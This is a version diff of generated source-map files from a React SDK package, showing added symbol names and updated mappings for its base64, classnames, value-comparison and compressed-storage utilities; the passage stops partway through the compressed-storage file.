tempest-react-sdk 0.78.0 → 0.79.0

package/dist/utils/base64.cjs.map

@@ -1 +1 @@
-{"version":3,"file":"base64.cjs","names":[],"sources":["../../src/utils/base64.ts"],"sourcesContent":["/**\n * Base64-encode bytes, without splatting the whole array into `fromCharCode`.\n *\n * `String.fromCharCode(...bytes)` overflows the argument limit somewhere around\n * a hundred thousand entries — which a compressed save reaches easily — so the\n * conversion walks the buffer in 32 KiB windows. That is also why this is the\n * version worth sharing: the byte-at-a-time loop the other two call sites used\n * has no argument limit either, but it is markedly slower on the payload sizes\n * `compressedStorage` exists for.\n *\n * @param bytes - The bytes to encode.\n * @param options - Pass `urlSafe` for the base64url alphabet (`-`/`_`, unpadded),\n *   which is what WebAuthn and anything travelling in a URL needs.\n * @returns Base64 text.\n */\nexport function bytesToBase64(bytes: Uint8Array, options: { urlSafe?: boolean } = {}): string {\n    let binary = \"\";\n    const chunkSize = 0x8000;\n    for (let index = 0; index < bytes.length; index += chunkSize) {\n        binary += String.fromCharCode(...bytes.subarray(index, index + chunkSize));\n    }\n    const encoded = btoa(binary);\n    if (!options.urlSafe) return encoded;\n    return encoded.replace(/\\+/g, \"-\").replace(/\\//g, \"_\").replace(/=+$/, \"\");\n}\n\n/**\n * Decode base64 into bytes, accepting either alphabet.\n *\n * Takes no `urlSafe` option on purpose: translating `-`/`_` and restoring the\n * padding are no-ops on standard padded base64, so one permissive decoder is\n * correct for both inputs. Getting this half wrong — usually by feeding\n * unpadded base64url straight to `atob` and losing the last byte — is the\n * classic broken-WebAuthn bug.\n *\n * @param value - Base64 or base64url text, with or without `=` padding.\n * @returns The decoded bytes.\n */\nexport function base64ToBytes(value: string): Uint8Array<ArrayBuffer> {\n    const standard = value.replace(/-/g, \"+\").replace(/_/g, \"/\");\n    const padded = standard.padEnd(standard.length + ((4 - (standard.length % 4)) % 4), \"=\");\n    const binary = atob(padded);\n    const bytes = new Uint8Array(binary.length);\n    for (let index = 0; index < binary.length; index += 1) {\n        bytes[index] = binary.charCodeAt(index);\n    }\n    return bytes;\n}\n"],"mappings":"AAeA,SAAgB,EAAc,EAAmB,EAAiC,CAAC,EAAW,CAC1F,IAAI,EAAS,GACP,EAAY,MAClB,IAAK,IAAI,EAAQ,EAAG,EAAQ,EAAM,OAAQ,GAAS,EAC/C,GAAU,OAAO,aAAa,GAAG,EAAM,SAAS,EAAO,EAAQ,CAAS,CAAC,EAE7E,IAAM,EAAU,KAAK,CAAM,EAE3B,OADK,EAAQ,QACN,EAAQ,QAAQ,MAAO,GAAG,CAAC,CAAC,QAAQ,MAAO,GAAG,CAAC,CAAC,QAAQ,MAAO,EAAE,EAD3C,CAEjC,CAcA,SAAgB,EAAc,EAAwC,CAClE,IAAM,EAAW,EAAM,QAAQ,KAAM,GAAG,CAAC,CAAC,QAAQ,KAAM,GAAG,EACrD,EAAS,EAAS,OAAO,EAAS,QAAW,EAAK,EAAS,OAAS,GAAM,EAAI,GAAG,EACjF,EAAS,KAAK,CAAM,EACpB,EAAQ,IAAI,WAAW,EAAO,MAAM,EAC1C,IAAK,IAAI,EAAQ,EAAG,EAAQ,EAAO,OAAQ,GAAS,EAChD,EAAM,GAAS,EAAO,WAAW,CAAK,EAE1C,OAAO,CACX"}
+{"version":3,"file":"base64.cjs","names":["bytesToBase64","binary","chunkSize","index","bytes","encoded","options","base64ToBytes","standard","value","padded"],"sources":["../../src/utils/base64.ts"],"sourcesContent":["/**\n * Base64-encode bytes, without splatting the whole array into `fromCharCode`.\n *\n * `String.fromCharCode(...bytes)` overflows the argument limit somewhere around\n * a hundred thousand entries — which a compressed save reaches easily — so the\n * conversion walks the buffer in 32 KiB windows. That is also why this is the\n * version worth sharing: the byte-at-a-time loop the other two call sites used\n * has no argument limit either, but it is markedly slower on the payload sizes\n * `compressedStorage` exists for.\n *\n * @param bytes - The bytes to encode.\n * @param options - Pass `urlSafe` for the base64url alphabet (`-`/`_`, unpadded),\n *   which is what WebAuthn and anything travelling in a URL needs.\n * @returns Base64 text.\n */\nexport function bytesToBase64(bytes: Uint8Array, options: { urlSafe?: boolean } = {}): string {\n    let binary = \"\";\n    const chunkSize = 0x8000;\n    for (let index = 0; index < bytes.length; index += chunkSize) {\n        binary += String.fromCharCode(...bytes.subarray(index, index + chunkSize));\n    }\n    const encoded = btoa(binary);\n    if (!options.urlSafe) return encoded;\n    return encoded.replace(/\\+/g, \"-\").replace(/\\//g, \"_\").replace(/=+$/, \"\");\n}\n\n/**\n * Decode base64 into bytes, accepting either alphabet.\n *\n * Takes no `urlSafe` option on purpose: translating `-`/`_` and restoring the\n * padding are no-ops on standard padded base64, so one permissive decoder is\n * correct for both inputs. Getting this half wrong — usually by feeding\n * unpadded base64url straight to `atob` and losing the last byte — is the\n * classic broken-WebAuthn bug.\n *\n * @param value - Base64 or base64url text, with or without `=` padding.\n * @returns The decoded bytes.\n */\nexport function base64ToBytes(value: string): Uint8Array<ArrayBuffer> {\n    const standard = value.replace(/-/g, \"+\").replace(/_/g, \"/\");\n    const padded = standard.padEnd(standard.length + ((4 - (standard.length % 4)) % 4), \"=\");\n    const binary = atob(padded);\n    const bytes = new Uint8Array(binary.length);\n    for (let index = 0; index < binary.length; index += 1) {\n        bytes[index] = binary.charCodeAt(index);\n    }\n    return bytes;\n}\n"],"mappings":"AAeA,SAAgBA,EAAc,EAAmB,EAAiC,CAAC,EAAW,CAC1F,IAAIC,EAAS,GACPC,EAAY,MAClB,IAAK,IAAIC,EAAQ,EAAGA,EAAQC,EAAM,OAAQ,GAASF,EAC/C,GAAU,OAAO,aAAa,GAAGE,EAAM,SAASD,EAAOA,EAAQD,CAAS,CAAC,EAE7E,IAAMG,EAAU,KAAKJ,CAAM,EAE3B,OADKK,EAAQ,QACND,EAAQ,QAAQ,MAAO,GAAG,CAAC,CAAC,QAAQ,MAAO,GAAG,CAAC,CAAC,QAAQ,MAAO,EAAE,EAD3CA,CAEjC,CAcA,SAAgBE,EAAc,EAAwC,CAClE,IAAMC,EAAWC,EAAM,QAAQ,KAAM,GAAG,CAAC,CAAC,QAAQ,KAAM,GAAG,EACrDC,EAASF,EAAS,OAAOA,EAAS,QAAW,EAAKA,EAAS,OAAS,GAAM,EAAI,GAAG,EACjFP,EAAS,KAAKS,CAAM,EACpBN,EAAQ,IAAI,WAAWH,EAAO,MAAM,EAC1C,IAAK,IAAIE,EAAQ,EAAGA,EAAQF,EAAO,OAAQ,GAAS,EAChD,EAAME,GAASF,EAAO,WAAWE,CAAK,EAE1C,OAAOC,CACX,C"}

package/dist/utils/base64.js.map

@@ -1 +1 @@
-{"version":3,"file":"base64.js","names":[],"sources":["../../src/utils/base64.ts"],"sourcesContent":["/**\n * Base64-encode bytes, without splatting the whole array into `fromCharCode`.\n *\n * `String.fromCharCode(...bytes)` overflows the argument limit somewhere around\n * a hundred thousand entries — which a compressed save reaches easily — so the\n * conversion walks the buffer in 32 KiB windows. That is also why this is the\n * version worth sharing: the byte-at-a-time loop the other two call sites used\n * has no argument limit either, but it is markedly slower on the payload sizes\n * `compressedStorage` exists for.\n *\n * @param bytes - The bytes to encode.\n * @param options - Pass `urlSafe` for the base64url alphabet (`-`/`_`, unpadded),\n *   which is what WebAuthn and anything travelling in a URL needs.\n * @returns Base64 text.\n */\nexport function bytesToBase64(bytes: Uint8Array, options: { urlSafe?: boolean } = {}): string {\n    let binary = \"\";\n    const chunkSize = 0x8000;\n    for (let index = 0; index < bytes.length; index += chunkSize) {\n        binary += String.fromCharCode(...bytes.subarray(index, index + chunkSize));\n    }\n    const encoded = btoa(binary);\n    if (!options.urlSafe) return encoded;\n    return encoded.replace(/\\+/g, \"-\").replace(/\\//g, \"_\").replace(/=+$/, \"\");\n}\n\n/**\n * Decode base64 into bytes, accepting either alphabet.\n *\n * Takes no `urlSafe` option on purpose: translating `-`/`_` and restoring the\n * padding are no-ops on standard padded base64, so one permissive decoder is\n * correct for both inputs. Getting this half wrong — usually by feeding\n * unpadded base64url straight to `atob` and losing the last byte — is the\n * classic broken-WebAuthn bug.\n *\n * @param value - Base64 or base64url text, with or without `=` padding.\n * @returns The decoded bytes.\n */\nexport function base64ToBytes(value: string): Uint8Array<ArrayBuffer> {\n    const standard = value.replace(/-/g, \"+\").replace(/_/g, \"/\");\n    const padded = standard.padEnd(standard.length + ((4 - (standard.length % 4)) % 4), \"=\");\n    const binary = atob(padded);\n    const bytes = new Uint8Array(binary.length);\n    for (let index = 0; index < binary.length; index += 1) {\n        bytes[index] = binary.charCodeAt(index);\n    }\n    return bytes;\n}\n"],"mappings":";AAeA,SAAgB,EAAc,GAAmB,IAAiC,CAAC,GAAW;CAC1F,IAAI,IAAS,IACP,IAAY;CAClB,KAAK,IAAI,IAAQ,GAAG,IAAQ,EAAM,QAAQ,KAAS,GAC/C,KAAU,OAAO,aAAa,GAAG,EAAM,SAAS,GAAO,IAAQ,CAAS,CAAC;CAE7E,IAAM,IAAU,KAAK,CAAM;CAE3B,OADK,EAAQ,UACN,EAAQ,QAAQ,OAAO,GAAG,CAAC,CAAC,QAAQ,OAAO,GAAG,CAAC,CAAC,QAAQ,OAAO,EAAE,IAD3C;AAEjC;AAcA,SAAgB,EAAc,GAAwC;CAClE,IAAM,IAAW,EAAM,QAAQ,MAAM,GAAG,CAAC,CAAC,QAAQ,MAAM,GAAG,GACrD,IAAS,EAAS,OAAO,EAAS,UAAW,IAAK,EAAS,SAAS,KAAM,GAAI,GAAG,GACjF,IAAS,KAAK,CAAM,GACpB,IAAQ,IAAI,WAAW,EAAO,MAAM;CAC1C,KAAK,IAAI,IAAQ,GAAG,IAAQ,EAAO,QAAQ,KAAS,GAChD,EAAM,KAAS,EAAO,WAAW,CAAK;CAE1C,OAAO;AACX"}
+{"version":3,"file":"base64.js","names":["bytesToBase64","binary","chunkSize","index","bytes","encoded","options","base64ToBytes","standard","value","padded"],"sources":["../../src/utils/base64.ts"],"sourcesContent":["/**\n * Base64-encode bytes, without splatting the whole array into `fromCharCode`.\n *\n * `String.fromCharCode(...bytes)` overflows the argument limit somewhere around\n * a hundred thousand entries — which a compressed save reaches easily — so the\n * conversion walks the buffer in 32 KiB windows. That is also why this is the\n * version worth sharing: the byte-at-a-time loop the other two call sites used\n * has no argument limit either, but it is markedly slower on the payload sizes\n * `compressedStorage` exists for.\n *\n * @param bytes - The bytes to encode.\n * @param options - Pass `urlSafe` for the base64url alphabet (`-`/`_`, unpadded),\n *   which is what WebAuthn and anything travelling in a URL needs.\n * @returns Base64 text.\n */\nexport function bytesToBase64(bytes: Uint8Array, options: { urlSafe?: boolean } = {}): string {\n    let binary = \"\";\n    const chunkSize = 0x8000;\n    for (let index = 0; index < bytes.length; index += chunkSize) {\n        binary += String.fromCharCode(...bytes.subarray(index, index + chunkSize));\n    }\n    const encoded = btoa(binary);\n    if (!options.urlSafe) return encoded;\n    return encoded.replace(/\\+/g, \"-\").replace(/\\//g, \"_\").replace(/=+$/, \"\");\n}\n\n/**\n * Decode base64 into bytes, accepting either alphabet.\n *\n * Takes no `urlSafe` option on purpose: translating `-`/`_` and restoring the\n * padding are no-ops on standard padded base64, so one permissive decoder is\n * correct for both inputs. Getting this half wrong — usually by feeding\n * unpadded base64url straight to `atob` and losing the last byte — is the\n * classic broken-WebAuthn bug.\n *\n * @param value - Base64 or base64url text, with or without `=` padding.\n * @returns The decoded bytes.\n */\nexport function base64ToBytes(value: string): Uint8Array<ArrayBuffer> {\n    const standard = value.replace(/-/g, \"+\").replace(/_/g, \"/\");\n    const padded = standard.padEnd(standard.length + ((4 - (standard.length % 4)) % 4), \"=\");\n    const binary = atob(padded);\n    const bytes = new Uint8Array(binary.length);\n    for (let index = 0; index < binary.length; index += 1) {\n        bytes[index] = binary.charCodeAt(index);\n    }\n    return bytes;\n}\n"],"mappings":";AAeA,SAAgBA,EAAc,GAAmB,IAAiC,CAAC,GAAW;CAC1F,IAAIC,IAAS,IACPC,IAAY;CAClB,KAAK,IAAIC,IAAQ,GAAGA,IAAQC,EAAM,QAAQ,KAASF,GAC/C,KAAU,OAAO,aAAa,GAAGE,EAAM,SAASD,GAAOA,IAAQD,CAAS,CAAC;CAE7E,IAAMG,IAAU,KAAKJ,CAAM;CAE3B,OADKK,EAAQ,UACND,EAAQ,QAAQ,OAAO,GAAG,CAAC,CAAC,QAAQ,OAAO,GAAG,CAAC,CAAC,QAAQ,OAAO,EAAE,IAD3CA;AAEjC;AAcA,SAAgBE,EAAc,GAAwC;CAClE,IAAMC,IAAWC,EAAM,QAAQ,MAAM,GAAG,CAAC,CAAC,QAAQ,MAAM,GAAG,GACrDC,IAASF,EAAS,OAAOA,EAAS,UAAW,IAAKA,EAAS,SAAS,KAAM,GAAI,GAAG,GACjFP,IAAS,KAAKS,CAAM,GACpBN,IAAQ,IAAI,WAAWH,EAAO,MAAM;CAC1C,KAAK,IAAIE,IAAQ,GAAGA,IAAQF,EAAO,QAAQ,KAAS,GAChD,EAAME,KAASF,EAAO,WAAWE,CAAK;CAE1C,OAAOC;AACX"}

package/dist/utils/cn.cjs.map

@@ -1 +1 @@
-{"version":3,"file":"cn.cjs","names":[],"sources":["../../src/utils/cn.ts"],"sourcesContent":["type ClassValue = string | number | bigint | boolean | null | undefined | ClassValue[];\n\n/**\n * Tiny classnames helper. Accepts strings, falsy values and nested arrays.\n *\n * @param values - Class entries, conditionally truthy.\n * @returns A single space-joined class string.\n */\nexport function cn(...values: ClassValue[]): string {\n    const out: string[] = [];\n    for (const value of values) {\n        if (value === null || value === undefined || value === false || value === true) {\n            continue;\n        }\n        if (typeof value === \"string\") {\n            if (value) out.push(value);\n        } else if (typeof value === \"number\" || typeof value === \"bigint\") {\n            out.push(String(value));\n        } else if (Array.isArray(value)) {\n            const nested = cn(...value);\n            if (nested) out.push(nested);\n        }\n    }\n    return out.join(\" \");\n}\n"],"mappings":"AAQA,SAAgB,EAAG,GAAG,EAA8B,CAChD,IAAM,EAAgB,CAAC,EACvB,IAAK,IAAM,KAAS,EACZ,MAAU,MAA+B,IAAU,IAAS,IAAU,GAG1E,IAAI,OAAO,GAAU,SACb,GAAO,EAAI,KAAK,CAAK,OACtB,GAAI,OAAO,GAAU,UAAY,OAAO,GAAU,SACrD,EAAI,KAAK,OAAO,CAAK,CAAC,OACnB,GAAI,MAAM,QAAQ,CAAK,EAAG,CAC7B,IAAM,EAAS,EAAG,GAAG,CAAK,EACtB,GAAQ,EAAI,KAAK,CAAM,CAC/B,EAEJ,OAAO,EAAI,KAAK,GAAG,CACvB"}
+{"version":3,"file":"cn.cjs","names":["cn","values","out","value","nested"],"sources":["../../src/utils/cn.ts"],"sourcesContent":["type ClassValue = string | number | bigint | boolean | null | undefined | ClassValue[];\n\n/**\n * Tiny classnames helper. Accepts strings, falsy values and nested arrays.\n *\n * @param values - Class entries, conditionally truthy.\n * @returns A single space-joined class string.\n */\nexport function cn(...values: ClassValue[]): string {\n    const out: string[] = [];\n    for (const value of values) {\n        if (value === null || value === undefined || value === false || value === true) {\n            continue;\n        }\n        if (typeof value === \"string\") {\n            if (value) out.push(value);\n        } else if (typeof value === \"number\" || typeof value === \"bigint\") {\n            out.push(String(value));\n        } else if (Array.isArray(value)) {\n            const nested = cn(...value);\n            if (nested) out.push(nested);\n        }\n    }\n    return out.join(\" \");\n}\n"],"mappings":"AAQA,SAAgBA,EAAG,GAAGC,EAA8B,CAChD,IAAMC,EAAgB,CAAC,EACvB,IAAK,IAAMC,KAASF,EAChB,GAAIE,GAAU,MAA+BA,IAAU,IAASA,IAAU,GAG1E,IAAI,OAAOA,GAAU,SACbA,GAAOD,EAAI,KAAKC,CAAK,OACtB,GAAI,OAAOA,GAAU,UAAY,OAAOA,GAAU,SACrDD,EAAI,KAAK,OAAOC,CAAK,CAAC,OACnB,GAAI,MAAM,QAAQA,CAAK,EAAG,CAC7B,IAAMC,EAASJ,EAAG,GAAGG,CAAK,EACtBC,GAAQF,EAAI,KAAKE,CAAM,CAC/B,EAEJ,OAAOF,EAAI,KAAK,GAAG,CACvB,C"}

package/dist/utils/cn.js.map

@@ -1 +1 @@
-{"version":3,"file":"cn.js","names":[],"sources":["../../src/utils/cn.ts"],"sourcesContent":["type ClassValue = string | number | bigint | boolean | null | undefined | ClassValue[];\n\n/**\n * Tiny classnames helper. Accepts strings, falsy values and nested arrays.\n *\n * @param values - Class entries, conditionally truthy.\n * @returns A single space-joined class string.\n */\nexport function cn(...values: ClassValue[]): string {\n    const out: string[] = [];\n    for (const value of values) {\n        if (value === null || value === undefined || value === false || value === true) {\n            continue;\n        }\n        if (typeof value === \"string\") {\n            if (value) out.push(value);\n        } else if (typeof value === \"number\" || typeof value === \"bigint\") {\n            out.push(String(value));\n        } else if (Array.isArray(value)) {\n            const nested = cn(...value);\n            if (nested) out.push(nested);\n        }\n    }\n    return out.join(\" \");\n}\n"],"mappings":";AAQA,SAAgB,EAAG,GAAG,GAA8B;CAChD,IAAM,IAAgB,CAAC;CACvB,KAAK,IAAM,KAAS,GACZ,SAAU,QAA+B,MAAU,MAAS,MAAU,IAG1E;MAAI,OAAO,KAAU,UACb,AAAA,KAAO,EAAI,KAAK,CAAK;OACtB,IAAI,OAAO,KAAU,YAAY,OAAO,KAAU,UACrD,EAAI,KAAK,OAAO,CAAK,CAAC;OACnB,IAAI,MAAM,QAAQ,CAAK,GAAG;GAC7B,IAAM,IAAS,EAAG,GAAG,CAAK;GAC1B,AAAI,KAAQ,EAAI,KAAK,CAAM;EAC/B;;CAEJ,OAAO,EAAI,KAAK,GAAG;AACvB"}
+{"version":3,"file":"cn.js","names":["cn","values","out","value","nested"],"sources":["../../src/utils/cn.ts"],"sourcesContent":["type ClassValue = string | number | bigint | boolean | null | undefined | ClassValue[];\n\n/**\n * Tiny classnames helper. Accepts strings, falsy values and nested arrays.\n *\n * @param values - Class entries, conditionally truthy.\n * @returns A single space-joined class string.\n */\nexport function cn(...values: ClassValue[]): string {\n    const out: string[] = [];\n    for (const value of values) {\n        if (value === null || value === undefined || value === false || value === true) {\n            continue;\n        }\n        if (typeof value === \"string\") {\n            if (value) out.push(value);\n        } else if (typeof value === \"number\" || typeof value === \"bigint\") {\n            out.push(String(value));\n        } else if (Array.isArray(value)) {\n            const nested = cn(...value);\n            if (nested) out.push(nested);\n        }\n    }\n    return out.join(\" \");\n}\n"],"mappings":";AAQA,SAAgBA,EAAG,GAAGC,GAA8B;CAChD,IAAMC,IAAgB,CAAC;CACvB,KAAK,IAAMC,KAASF,GAChB,IAAIE,KAAU,QAA+BA,MAAU,MAASA,MAAU,IAG1E;MAAI,OAAOA,KAAU,UACb,AAAAA,KAAOD,EAAI,KAAKC,CAAK;OACtB,IAAI,OAAOA,KAAU,YAAY,OAAOA,KAAU,UACrD,EAAI,KAAK,OAAOA,CAAK,CAAC;OACnB,IAAI,MAAM,QAAQA,CAAK,GAAG;GAC7B,IAAMC,IAASJ,EAAG,GAAGG,CAAK;GAC1B,AAAIC,KAAQF,EAAI,KAAKE,CAAM;EAC/B;;CAEJ,OAAOF,EAAI,KAAK,GAAG;AACvB"}

package/dist/utils/compare-values.cjs.map

@@ -1 +1 @@
-{"version":3,"file":"compare-values.cjs","names":[],"sources":["../../src/utils/compare-values.ts"],"sourcesContent":["/**\n * One collator for every string comparison a table sort makes.\n *\n * `localeCompare(other, undefined, { numeric: true })` builds a collator per\n * call — passing an options bag opts out of the engine's cached-default fast\n * path — and a sort makes O(n log n) of these. Measured at 200k comparisons:\n * 453 ms through `localeCompare` against 25 ms through a hoisted collator.\n */\nconst TEXT_COLLATOR = new Intl.Collator(undefined, { numeric: true });\n\n/**\n * Compare two arbitrary cell values with stable, type-aware ordering.\n *\n * The comparator every table in the SDK sorts with, so `DataTable` and\n * `VirtualTable` agree on what \"sorted\" means. The type-aware branches exist\n * because the naive `String(a) < String(b)` gets the two most common cases wrong:\n * numbers would sort `10` before `9`, and dates would sort by their formatted\n * text. Strings fall back to `localeCompare` with `numeric: true`, so `\"item 2\"`\n * lands before `\"item 10\"`.\n *\n * `null` and `undefined` sort first, together — a missing value is not smaller\n * than another missing value.\n *\n * @param a - First value.\n * @param b - Second value.\n * @returns Negative when `a < b`, positive when `a > b`, zero when equal.\n */\nexport function compareValues(a: unknown, b: unknown): number {\n    if (a == null && b == null) return 0;\n    if (a == null) return -1;\n    if (b == null) return 1;\n    if (typeof a === \"number\" && typeof b === \"number\") return a - b;\n    if (a instanceof Date && b instanceof Date) return a.getTime() - b.getTime();\n    if (typeof a === \"boolean\" && typeof b === \"boolean\") return Number(a) - Number(b);\n    return TEXT_COLLATOR.compare(String(a), String(b));\n}\n"],"mappings":"AAQA,IAAM,EAAgB,IAAI,KAAK,SAAS,IAAA,GAAW,CAAE,QAAS,EAAK,CAAC,EAmBpE,SAAgB,EAAc,EAAY,EAAoB,CAO1D,OANI,GAAK,MAAQ,GAAK,KAAa,EAC/B,GAAK,KAAa,GAClB,GAAK,KAAa,EAClB,OAAO,GAAM,UAAY,OAAO,GAAM,SAAiB,EAAI,EAC3D,aAAa,MAAQ,aAAa,KAAa,EAAE,QAAQ,EAAI,EAAE,QAAQ,EACvE,OAAO,GAAM,WAAa,OAAO,GAAM,UAAkB,OAAO,CAAC,EAAI,OAAO,CAAC,EAC1E,EAAc,QAAQ,OAAO,CAAC,EAAG,OAAO,CAAC,CAAC,CACrD"}
+{"version":3,"file":"compare-values.cjs","names":["TEXT_COLLATOR","compareValues","a","b"],"sources":["../../src/utils/compare-values.ts"],"sourcesContent":["/**\n * One collator for every string comparison a table sort makes.\n *\n * `localeCompare(other, undefined, { numeric: true })` builds a collator per\n * call — passing an options bag opts out of the engine's cached-default fast\n * path — and a sort makes O(n log n) of these. Measured at 200k comparisons:\n * 453 ms through `localeCompare` against 25 ms through a hoisted collator.\n */\nconst TEXT_COLLATOR = new Intl.Collator(undefined, { numeric: true });\n\n/**\n * Compare two arbitrary cell values with stable, type-aware ordering.\n *\n * The comparator every table in the SDK sorts with, so `DataTable` and\n * `VirtualTable` agree on what \"sorted\" means. The type-aware branches exist\n * because the naive `String(a) < String(b)` gets the two most common cases wrong:\n * numbers would sort `10` before `9`, and dates would sort by their formatted\n * text. Strings fall back to `localeCompare` with `numeric: true`, so `\"item 2\"`\n * lands before `\"item 10\"`.\n *\n * `null` and `undefined` sort first, together — a missing value is not smaller\n * than another missing value.\n *\n * @param a - First value.\n * @param b - Second value.\n * @returns Negative when `a < b`, positive when `a > b`, zero when equal.\n */\nexport function compareValues(a: unknown, b: unknown): number {\n    if (a == null && b == null) return 0;\n    if (a == null) return -1;\n    if (b == null) return 1;\n    if (typeof a === \"number\" && typeof b === \"number\") return a - b;\n    if (a instanceof Date && b instanceof Date) return a.getTime() - b.getTime();\n    if (typeof a === \"boolean\" && typeof b === \"boolean\") return Number(a) - Number(b);\n    return TEXT_COLLATOR.compare(String(a), String(b));\n}\n"],"mappings":"AAQA,IAAMA,EAAgB,IAAI,KAAK,SAAS,IAAA,GAAW,CAAE,QAAS,EAAK,CAAC,EAmBpE,SAAgBC,EAAc,EAAY,EAAoB,CAO1D,OANIC,GAAK,MAAQC,GAAK,KAAa,EAC/BD,GAAK,KAAa,GAClBC,GAAK,KAAa,EAClB,OAAOD,GAAM,UAAY,OAAOC,GAAM,SAAiBD,EAAIC,EAC3DD,aAAa,MAAQC,aAAa,KAAaD,EAAE,QAAQ,EAAIC,EAAE,QAAQ,EACvE,OAAOD,GAAM,WAAa,OAAOC,GAAM,UAAkB,OAAOD,CAAC,EAAI,OAAOC,CAAC,EAC1EH,EAAc,QAAQ,OAAOE,CAAC,EAAG,OAAOC,CAAC,CAAC,CACrD,C"}

package/dist/utils/compare-values.js.map

@@ -1 +1 @@
-{"version":3,"file":"compare-values.js","names":[],"sources":["../../src/utils/compare-values.ts"],"sourcesContent":["/**\n * One collator for every string comparison a table sort makes.\n *\n * `localeCompare(other, undefined, { numeric: true })` builds a collator per\n * call — passing an options bag opts out of the engine's cached-default fast\n * path — and a sort makes O(n log n) of these. Measured at 200k comparisons:\n * 453 ms through `localeCompare` against 25 ms through a hoisted collator.\n */\nconst TEXT_COLLATOR = new Intl.Collator(undefined, { numeric: true });\n\n/**\n * Compare two arbitrary cell values with stable, type-aware ordering.\n *\n * The comparator every table in the SDK sorts with, so `DataTable` and\n * `VirtualTable` agree on what \"sorted\" means. The type-aware branches exist\n * because the naive `String(a) < String(b)` gets the two most common cases wrong:\n * numbers would sort `10` before `9`, and dates would sort by their formatted\n * text. Strings fall back to `localeCompare` with `numeric: true`, so `\"item 2\"`\n * lands before `\"item 10\"`.\n *\n * `null` and `undefined` sort first, together — a missing value is not smaller\n * than another missing value.\n *\n * @param a - First value.\n * @param b - Second value.\n * @returns Negative when `a < b`, positive when `a > b`, zero when equal.\n */\nexport function compareValues(a: unknown, b: unknown): number {\n    if (a == null && b == null) return 0;\n    if (a == null) return -1;\n    if (b == null) return 1;\n    if (typeof a === \"number\" && typeof b === \"number\") return a - b;\n    if (a instanceof Date && b instanceof Date) return a.getTime() - b.getTime();\n    if (typeof a === \"boolean\" && typeof b === \"boolean\") return Number(a) - Number(b);\n    return TEXT_COLLATOR.compare(String(a), String(b));\n}\n"],"mappings":";AAQA,IAAM,IAAgB,IAAI,KAAK,SAAS,KAAA,GAAW,EAAE,SAAS,GAAK,CAAC;AAmBpE,SAAgB,EAAc,GAAY,GAAoB;CAO1D,OANI,KAAK,QAAQ,KAAK,OAAa,IAC/B,KAAK,OAAa,KAClB,KAAK,OAAa,IAClB,OAAO,KAAM,YAAY,OAAO,KAAM,WAAiB,IAAI,IAC3D,aAAa,QAAQ,aAAa,OAAa,EAAE,QAAQ,IAAI,EAAE,QAAQ,IACvE,OAAO,KAAM,aAAa,OAAO,KAAM,YAAkB,OAAO,CAAC,IAAI,OAAO,CAAC,IAC1E,EAAc,QAAQ,OAAO,CAAC,GAAG,OAAO,CAAC,CAAC;AACrD"}
+{"version":3,"file":"compare-values.js","names":["TEXT_COLLATOR","compareValues","a","b"],"sources":["../../src/utils/compare-values.ts"],"sourcesContent":["/**\n * One collator for every string comparison a table sort makes.\n *\n * `localeCompare(other, undefined, { numeric: true })` builds a collator per\n * call — passing an options bag opts out of the engine's cached-default fast\n * path — and a sort makes O(n log n) of these. Measured at 200k comparisons:\n * 453 ms through `localeCompare` against 25 ms through a hoisted collator.\n */\nconst TEXT_COLLATOR = new Intl.Collator(undefined, { numeric: true });\n\n/**\n * Compare two arbitrary cell values with stable, type-aware ordering.\n *\n * The comparator every table in the SDK sorts with, so `DataTable` and\n * `VirtualTable` agree on what \"sorted\" means. The type-aware branches exist\n * because the naive `String(a) < String(b)` gets the two most common cases wrong:\n * numbers would sort `10` before `9`, and dates would sort by their formatted\n * text. Strings fall back to `localeCompare` with `numeric: true`, so `\"item 2\"`\n * lands before `\"item 10\"`.\n *\n * `null` and `undefined` sort first, together — a missing value is not smaller\n * than another missing value.\n *\n * @param a - First value.\n * @param b - Second value.\n * @returns Negative when `a < b`, positive when `a > b`, zero when equal.\n */\nexport function compareValues(a: unknown, b: unknown): number {\n    if (a == null && b == null) return 0;\n    if (a == null) return -1;\n    if (b == null) return 1;\n    if (typeof a === \"number\" && typeof b === \"number\") return a - b;\n    if (a instanceof Date && b instanceof Date) return a.getTime() - b.getTime();\n    if (typeof a === \"boolean\" && typeof b === \"boolean\") return Number(a) - Number(b);\n    return TEXT_COLLATOR.compare(String(a), String(b));\n}\n"],"mappings":";AAQA,IAAMA,IAAgB,IAAI,KAAK,SAAS,KAAA,GAAW,EAAE,SAAS,GAAK,CAAC;AAmBpE,SAAgBC,EAAc,GAAY,GAAoB;CAO1D,OANIC,KAAK,QAAQC,KAAK,OAAa,IAC/BD,KAAK,OAAa,KAClBC,KAAK,OAAa,IAClB,OAAOD,KAAM,YAAY,OAAOC,KAAM,WAAiBD,IAAIC,IAC3DD,aAAa,QAAQC,aAAa,OAAaD,EAAE,QAAQ,IAAIC,EAAE,QAAQ,IACvE,OAAOD,KAAM,aAAa,OAAOC,KAAM,YAAkB,OAAOD,CAAC,IAAI,OAAOC,CAAC,IAC1EH,EAAc,QAAQ,OAAOE,CAAC,GAAG,OAAOC,CAAC,CAAC;AACrD"}

package/dist/utils/compressed-storage.cjs.map

@@ -1 +1 @@
-{"version":3,"file":"compressed-storage.cjs","names":[],"sources":["../../src/utils/compressed-storage.ts"],"sourcesContent":["import { gunzipSync, gzipSync } from \"fflate\";\n\nimport { base64ToBytes, bytesToBase64 } from \"./base64\";\n\nimport { createJsonStorage, type JsonStorage, type StorageCodec } from \"./storage\";\n\n/**\n * Gzip-backed `localStorage`, for payloads that would otherwise eat the quota.\n *\n * Kept in its own module rather than folded into {@link storage} so that\n * importing the plain typed wrapper never drags `fflate` into the bundle.\n *\n * @tempest-limits empty-catch — every operation here is best-effort by\n * contract, exactly like {@link storage}. `localStorage` throws on quota\n * exhaustion, in Safari private mode, and when a cross-origin frame has storage\n * blocked; a caller persisting state has no recovery to run and no message to\n * show, so the write is dropped and the value stays in memory for the session.\n */\n\n/**\n * Prefix stamped on every value this module writes.\n *\n * It makes the format self-describing, which is what lets a read fall back to\n * plain JSON: a key that predates compression — or that a degraded write stored\n * uncompressed — is still readable, so turning compression on for an existing\n * key does not orphan the data already there. The character also cannot open a\n * JSON document, so the two cases can never be confused.\n */\nconst MARKER = \"~tgz1:\";\n\n/**\n * Serialize a value to a gzipped, base64 string carrying the format marker.\n *\n * Base64 costs a third more characters than the raw compressed bytes, and\n * `localStorage` bills two bytes per character on top of that. Packing the\n * bytes into UTF-16 code units directly would be denser, but lone surrogates\n * survive neither every storage implementation nor a JSON round-trip, and a\n * save that decodes to garbage is far worse than one that is bigger. Even with\n * that overhead a typical JSON document lands well under a third of its\n * 